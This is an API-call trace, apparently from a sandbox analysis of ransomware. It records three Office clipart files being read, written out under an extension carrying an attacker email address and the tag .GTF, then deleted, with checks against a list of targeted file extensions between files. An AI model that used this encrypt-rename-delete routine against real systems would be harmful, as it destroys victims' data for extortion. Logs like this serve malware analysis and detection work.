	[0089.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.047] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2756) returned 1
	[0089.047] CloseHandle (hObject=0x368) returned 1
	[0089.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220
	[0089.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.048] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.048] GetLastError () returned 0x0
	[0089.048] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xac4, lpOverlapped=0x0) returned 1
	[0089.050] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xad0, lpOverlapped=0x0) returned 1
	[0089.051] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.051] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.051] SetEndOfFile (hFile=0x334) returned 1
	[0089.051] CloseHandle (hObject=0x334) returned 1
	[0089.052] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.052] SetEndOfFile (hFile=0x368) returned 1
	[0089.052] CloseHandle (hObject=0x368) returned 1
	[0089.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.053] lstrlenW (lpString=".doc") returned 4
	[0089.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".docx") returned 5
	[0089.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.053] lstrlenW (lpString=".pdf") returned 4
	[0089.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".xls") returned 4
	[0089.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.053] lstrlenW (lpString=".xlsx") returned 5
	[0089.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.053] lstrlenW (lpString=".ppt") returned 4
	[0089.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.053] lstrlenW (lpString=".zip") returned 4
	[0089.053] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.053] lstrlenW (lpString=".rar") returned 4
	[0089.053] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".bz2") returned 4
	[0089.053] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.053] lstrlenW (lpString=".7z") returned 3
	[0089.053] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.053] lstrlenW (lpString=".dbf") returned 4
	[0089.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString=".1cd") returned 4
	[0089.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString=".jpg") returned 4
	[0089.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString=".doc") returned 4
	[0089.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".docx") returned 5
	[0089.054] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.054] lstrlenW (lpString=".pdf") returned 4
	[0089.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".xls") returned 4
	[0089.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.054] lstrlenW (lpString=".xlsx") returned 5
	[0089.054] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.054] lstrlenW (lpString=".ppt") returned 4
	[0089.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString=".zip") returned 4
	[0089.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.054] lstrlenW (lpString=".rar") returned 4
	[0089.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".bz2") returned 4
	[0089.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString=".7z") returned 3
	[0089.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString=".dbf") returned 4
	[0089.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.054] lstrlenW (lpString=".1cd") returned 4
	[0089.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68
	[0089.055] lstrlenW (lpString=".jpg") returned 4
	[0089.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.055] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.055] lstrlenW (lpString="HH01065_.WMF") returned 12
	[0089.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.055] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1268) returned 1
	[0089.055] CloseHandle (hObject=0x368) returned 1
	[0089.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x220
	[0089.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.055] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.055] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.056] GetLastError () returned 0x0
	[0089.056] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x4f4, lpOverlapped=0x0) returned 1
	[0089.059] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x500, lpOverlapped=0x0) returned 1
	[0089.060] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.060] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.060] SetEndOfFile (hFile=0x334) returned 1
	[0089.060] CloseHandle (hObject=0x334) returned 1
	[0089.060] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.060] SetEndOfFile (hFile=0x368) returned 1
	[0089.061] CloseHandle (hObject=0x368) returned 1
	[0089.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01065_.wmf")) returned 1
	[0089.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.061] lstrlenW (lpString=".doc") returned 4
	[0089.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.061] lstrlenW (lpString=".docx") returned 5
	[0089.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.061] lstrlenW (lpString=".pdf") returned 4
	[0089.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".xls") returned 4
	[0089.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.062] lstrlenW (lpString=".xlsx") returned 5
	[0089.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.062] lstrlenW (lpString=".ppt") returned 4
	[0089.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.062] lstrlenW (lpString=".zip") returned 4
	[0089.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.062] lstrlenW (lpString=".rar") returned 4
	[0089.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".bz2") returned 4
	[0089.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".7z") returned 3
	[0089.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.062] lstrlenW (lpString=".dbf") returned 4
	[0089.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.062] lstrlenW (lpString=".1cd") returned 4
	[0089.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.062] lstrlenW (lpString=".jpg") returned 4
	[0089.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.062] lstrlenW (lpString=".doc") returned 4
	[0089.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".docx") returned 5
	[0089.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.062] lstrlenW (lpString=".pdf") returned 4
	[0089.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.062] lstrlenW (lpString=".xls") returned 4
	[0089.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.062] lstrlenW (lpString=".xlsx") returned 5
	[0089.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.063] lstrlenW (lpString=".ppt") returned 4
	[0089.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.063] lstrlenW (lpString=".zip") returned 4
	[0089.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.063] lstrlenW (lpString=".rar") returned 4
	[0089.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString=".bz2") returned 4
	[0089.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString=".7z") returned 3
	[0089.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.063] lstrlenW (lpString=".dbf") returned 4
	[0089.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.063] lstrlenW (lpString=".1cd") returned 4
	[0089.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 68
	[0089.063] lstrlenW (lpString=".jpg") returned 4
	[0089.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.063] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.063] lstrlenW (lpString="HH01080_.WMF") returned 12
	[0089.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.063] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=5000) returned 1
	[0089.064] CloseHandle (hObject=0x368) returned 1
	[0089.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x220
	[0089.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.064] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.064] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.064] GetLastError () returned 0x0
	[0089.064] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x1388, lpOverlapped=0x0) returned 1
	[0089.416] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0089.416] ReadFile (in: hFile=0x368, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.417] WriteFile (in: hFile=0x334, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.417] SetEndOfFile (hFile=0x334) returned 1
	[0089.420] CloseHandle (hObject=0x334) returned 1
	[0089.420] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.420] SetEndOfFile (hFile=0x368) returned 1
	[0089.421] CloseHandle (hObject=0x368) returned 1
	[0089.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01080_.wmf")) returned 1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.422] lstrlenW (lpString=".doc") returned 4
	[0089.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".docx") returned 5
	[0089.422] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.422] lstrlenW (lpString=".pdf") returned 4
	[0089.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".xls") returned 4
	[0089.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.422] lstrlenW (lpString=".xlsx") returned 5
	[0089.422] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.422] lstrlenW (lpString=".ppt") returned 4
	[0089.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.422] lstrlenW (lpString=".zip") returned 4
	[0089.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.422] lstrlenW (lpString=".rar") returned 4
	[0089.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".bz2") returned 4
	[0089.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString=".7z") returned 3
	[0089.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.422] lstrlenW (lpString=".dbf") returned 4
	[0089.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.422] lstrlenW (lpString=".1cd") returned 4
	[0089.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.422] lstrlenW (lpString=".jpg") returned 4
	[0089.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.423] lstrlenW (lpString=".doc") returned 4
	[0089.423] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".docx") returned 5
	[0089.423] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.423] lstrlenW (lpString=".pdf") returned 4
	[0089.423] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".xls") returned 4
	[0089.423] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.423] lstrlenW (lpString=".xlsx") returned 5
	[0089.423] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.423] lstrlenW (lpString=".ppt") returned 4
	[0089.423] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.423] lstrlenW (lpString=".zip") returned 4
	[0089.423] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.423] lstrlenW (lpString=".rar") returned 4
	[0089.423] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".bz2") returned 4
	[0089.423] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString=".7z") returned 3
	[0089.423] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.423] lstrlenW (lpString=".dbf") returned 4
	[0089.423] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.423] lstrlenW (lpString=".1cd") returned 4
	[0089.423] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01080_.WMF") returned 68
	[0089.423] lstrlenW (lpString=".jpg") returned 4
	[0089.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
